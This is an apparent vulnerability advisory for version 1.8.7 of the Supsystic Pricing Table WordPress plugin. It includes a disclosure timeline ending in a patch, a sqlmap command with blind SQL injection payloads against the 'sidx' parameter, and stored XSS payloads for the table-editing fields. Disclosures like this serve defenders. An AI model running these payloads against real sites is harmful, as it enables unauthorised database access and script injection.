WordPress Plugin Supsystic Pricing Table 1.8.7 - Multiple Vulnerabilities

# Exploit Title: WordPress Plugin Supsystic Pricing Table 1.8.7 - Multiple Vulnerabilities
# Date: 24/07/2020
# Exploit Author: Erik David Martin
# Vendor Homepage: https://supsystic.com/
# Software Link: https://downloads.wordpress.org/plugin/pricing-table-by-supsystic.1.8.7.zip
# Version: 1.8.7 and 1.8.6 
# Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2

# 25/07 2020: Vendor notified
# 27/07 2020: Vendor requested detailed information
# 27/07 2020: Information provided
# 07/08 2020: Nudged vendor. No reply
# 22/08 2020: Nudged vendor. No reply
# 04/10 2020: Nudged vendor. No reply
# 29/11 2020: WordPress Plugin Security team contacted
# 07/12 2020: Vulnerability patched


##################################
			   SQLi
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# 1. Description

The GET parameter "sidx" does not sanitize user input when searching for existing pricing tables.


# 2. Proof of Concept (PoC)

Use ZAP/Burp to capture the web request when searching for existing pricing tables and save it to request.txt
Referer: http://192.168.0.49/wp-admin/admin.php?page=supsystic-tables&module=tables

sqlmap -r request.txt --dbms=mysql -p sidx

Parameter: sidx (GET)
    Type: boolean-based blind
    Payload: mod=tables&action=getListForTbl&pl=pts&reqType=ajax&pts_nonce=2893fe633b&search[text_like]=test&_search=false&nd=1595624411398&rows=10&page=0&sidx=(SELECT (CASE WHEN (5313=5313) THEN 0x6964 ELSE (SELECT 9338 UNION SELECT 5490) END))&sord=desc

    Type: time-based blind
    Payload: mod=tables&action=getListForTbl&pl=pts&reqType=ajax&pts_nonce=2893fe633b&search[text_like]=test&_search=false&nd=1595624411398&rows=10&page=0&sidx=id AND (SELECT 9475 FROM (SELECT(SLEEP(5)))OjhB)&sord=desc



##################################
			Stored XSS
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# 1. Description

The "Edit name" and "Edit HTML" features are vulnerable to stored XXS.
Location: http://192.168.0.49/wp-admin/admin.php?page=tables-supsystic&tab=tables_edit&id=[TABLE ID]


# 2. Proof of Concept (PoC)

Enter the following payload into the "Edit" field in the top left corner: "><script>alert(1)</script><!--'
The payload will execute when viewing the pricing table itself, and also in the "Show All Tables" section.
Enter the following payload into the "Edit HTML" section in the top right corner:	<script>alert(1)</script><!--
The payload will get stored and will execute everytime the user attempts to view the pricing table.